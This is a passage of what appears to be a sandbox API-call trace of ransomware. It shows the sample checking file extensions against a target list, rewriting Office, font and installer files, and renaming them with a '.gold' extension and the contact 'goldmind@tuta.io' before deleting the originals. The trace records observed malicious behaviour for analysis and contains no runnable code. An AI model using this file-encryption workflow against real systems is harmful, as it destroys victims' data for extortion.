returned 63 [0056.627] lstrlenW (lpString=".dbf") returned 4 [0056.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0056.627] lstrlenW (lpString=".1cd") returned 4 [0056.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0056.627] lstrlenW (lpString=".jpg") returned 4 [0056.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.627] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.627] lstrlenW (lpString="CG1606.WMF") returned 10 [0056.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.628] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=3564) returned 1 [0056.628] CloseHandle (hObject=0x210) returned 1 [0056.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0056.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.628] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.628] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0056.629] GetLastError () returned 0x0 [0056.629] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xdec, lpOverlapped=0x0) returned 1 [0056.630] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xdf0, lpOverlapped=0x0) returned 1 [0056.631] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0056.631] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe8, lpOverlapped=0x0) returned 1 [0056.631] SetEndOfFile (hFile=0x19c) returned 1 [0056.631] CloseHandle (hObject=0x19c) returned 1 [0056.631] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.631] SetEndOfFile (hFile=0x210) returned 1 [0056.631] CloseHandle (hObject=0x210) returned 1 [0056.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0056.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.632] lstrlenW (lpString=".doc") returned 4 [0056.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.632] lstrlenW (lpString=".docx") returned 5 [0056.632] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0056.632] lstrlenW (lpString=".pdf") returned 4 [0056.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.632] lstrlenW (lpString=".xls") returned 4 [0056.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.632] lstrlenW (lpString=".xlsx") returned 5 [0056.632] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0056.632] lstrlenW (lpString=".ppt") returned 4 [0056.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.632] lstrlenW (lpString=".zip") returned 4 [0056.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.632] lstrlenW (lpString=".rar") returned 4 [0056.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.632] lstrlenW (lpString=".bz2") returned 4 [0056.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.632] lstrlenW (lpString=".7z") returned 3 [0056.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.632] lstrlenW (lpString=".dbf") returned 4 [0056.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.632] lstrlenW (lpString=".1cd") returned 4 [0056.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.633] lstrlenW (lpString=".jpg") returned 4 [0056.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.633] lstrlenW (lpString=".doc") returned 4 [0056.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.633] lstrlenW (lpString=".docx") returned 5 [0056.633] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0056.633] lstrlenW (lpString=".pdf") returned 4 [0056.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.633] lstrlenW (lpString=".xls") returned 4 [0056.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.633] lstrlenW (lpString=".xlsx") returned 5 [0056.633] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0056.633] lstrlenW (lpString=".ppt") returned 4 [0056.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.633] lstrlenW (lpString=".zip") returned 4 [0056.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.633] lstrlenW (lpString=".rar") returned 4 [0056.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.633] lstrlenW (lpString=".bz2") returned 4 [0056.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.633] lstrlenW (lpString=".7z") returned 3 [0056.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.633] lstrlenW (lpString=".dbf") returned 4 [0056.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.633] lstrlenW (lpString=".1cd") returned 4 [0056.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0056.633] lstrlenW (lpString=".jpg") returned 4 [0056.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.633] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.633] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0056.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 15 os_tid = 0x7c0 [0033.897] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3890480 [0033.897] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x38a0488 [0033.897] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d03c8 [0033.897] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8d30c8 [0033.897] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d03e0 [0033.897] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3b80020 [0033.898] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d03f8 [0033.898] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d03f8, Size=0x20) returned 0x8ff938 [0033.898] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d03f8 [0033.898] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d03f8, Size=0x20) returned 0x8ff910 [0033.898] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0033.898] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0033.898] Wow64DisableWow64FsRedirection (in: OldValue=0x302ff58 | out: OldValue=0x302ff58*=0x0) returned 1 [0033.898] lstrlenW (lpString="kernel32.dll") returned 12 [0033.898] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff938 | out: hHeap=0x880000) returned 1 [0033.898] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.898] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff910 | out: hHeap=0x880000) returned 1 [0033.898] Sleep (dwMilliseconds=0x64) [0034.529] lstrcmpiW (lpString1=".ttf", lpString2=".gold") returned 1 [0034.530] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0034.530] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0035.017] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1984228) returned 1 [0035.017] CloseHandle (hObject=0x180) returned 1 [0035.017] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0035.017] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.017] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0035.017] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.017] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.017] lstrlenW (lpString=".doc") returned 4 [0035.017] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0035.017] lstrlenW (lpString=".docx") returned 5 [0035.018] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0035.018] lstrlenW (lpString=".pdf") returned 4 [0035.023] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0035.023] lstrlenW (lpString=".xls") returned 4 [0035.023] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0035.023] lstrlenW (lpString=".xlsx") returned 5 [0035.023] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0035.023] lstrlenW (lpString=".ppt") returned 4 [0035.023] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0035.023] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.023] lstrlenW (lpString=".zip") returned 4 [0035.023] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0035.023] lstrlenW (lpString=".rar") returned 4 [0035.023] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0035.023] lstrlenW (lpString=".bz2") returned 4 [0035.023] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0035.023] lstrlenW (lpString=".7z") returned 3 [0035.023] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0035.023] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.023] lstrlenW (lpString=".dbf") returned 4 [0035.023] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0035.023] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.023] lstrlenW (lpString=".1cd") returned 4 [0035.023] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0035.023] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.023] lstrlenW (lpString=".jpg") returned 4 [0035.023] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0035.023] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.023] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.023] lstrlenW (lpString=".doc") returned 4 [0035.023] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0035.023] lstrlenW (lpString=".docx") returned 5 [0035.023] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0035.023] lstrlenW (lpString=".pdf") returned 4 [0035.023] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0035.023] lstrlenW (lpString=".xls") returned 4 [0035.023] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0035.023] lstrlenW (lpString=".xlsx") returned 5 [0035.023] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0035.023] lstrlenW (lpString=".ppt") returned 4 [0035.023] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0035.023] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.023] lstrlenW (lpString=".zip") returned 4 [0035.023] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0035.023] lstrlenW (lpString=".rar") returned 4 [0035.023] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0035.023] lstrlenW (lpString=".bz2") returned 4 [0035.023] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0035.024] lstrlenW (lpString=".7z") returned 3 [0035.024] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0035.024] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.024] lstrlenW (lpString=".dbf") returned 4 [0035.024] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0035.024] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.024] lstrlenW (lpString=".1cd") returned 4 [0035.024] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0035.024] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0035.024] lstrlenW (lpString=".jpg") returned 4 [0035.024] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0035.024] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0035.024] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0035.024] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0035.024] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2503680) returned 1 [0035.024] CloseHandle (hObject=0x180) returned 1 [0035.024] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0035.034] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.034] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0035.060] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0035.060] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0035.060] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.061] ReadFile (in: hFile=0x180, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.065] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.065] ReadFile (in: hFile=0x180, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.075] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0035.075] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.075] ReadFile (in: hFile=0x180, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.093] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.094] WriteFile (in: hFile=0x180, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0035.425] SetEndOfFile (hFile=0x180) returned 1 [0035.425] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0035.575] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.575] WriteFile (in: hFile=0x180, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.576] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.576] WriteFile (in: hFile=0x180, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.580] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.581] WriteFile (in: hFile=0x180, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.583] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0035.583] CloseHandle (hObject=0x180) returned 1 [0036.060] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0036.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.060] lstrlenW (lpString=".doc") returned 4 [0036.060] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.060] lstrlenW (lpString=".docx") returned 5 [0036.060] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.060] lstrlenW (lpString=".pdf") returned 4 [0036.060] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.060] lstrlenW (lpString=".xls") returned 4 [0036.060] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.060] lstrlenW (lpString=".xlsx") returned 5 [0036.060] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.060] lstrlenW (lpString=".ppt") returned 4 [0036.060] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.060] lstrlenW (lpString=".zip") returned 4 [0036.060] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.060] lstrlenW (lpString=".rar") returned 4 [0036.060] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.060] lstrlenW (lpString=".bz2") returned 4 [0036.060] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.060] lstrlenW (lpString=".7z") returned 3 [0036.060] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.060] lstrlenW (lpString=".dbf") returned 4 [0036.060] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.060] lstrlenW (lpString=".1cd") returned 4 [0036.060] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.061] lstrlenW (lpString=".jpg") returned 4 [0036.061] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.061] lstrlenW (lpString=".doc") returned 4 [0036.061] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.061] lstrlenW (lpString=".docx") returned 5 [0036.061] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.061] lstrlenW (lpString=".pdf") returned 4 [0036.061] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.061] lstrlenW (lpString=".xls") returned 4 [0036.061] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.061] lstrlenW (lpString=".xlsx") returned 5 [0036.061] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.061] lstrlenW (lpString=".ppt") returned 4 [0036.061] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.061] lstrlenW (lpString=".zip") returned 4 [0036.061] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.061] lstrlenW (lpString=".rar") returned 4 [0036.061] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.061] lstrlenW 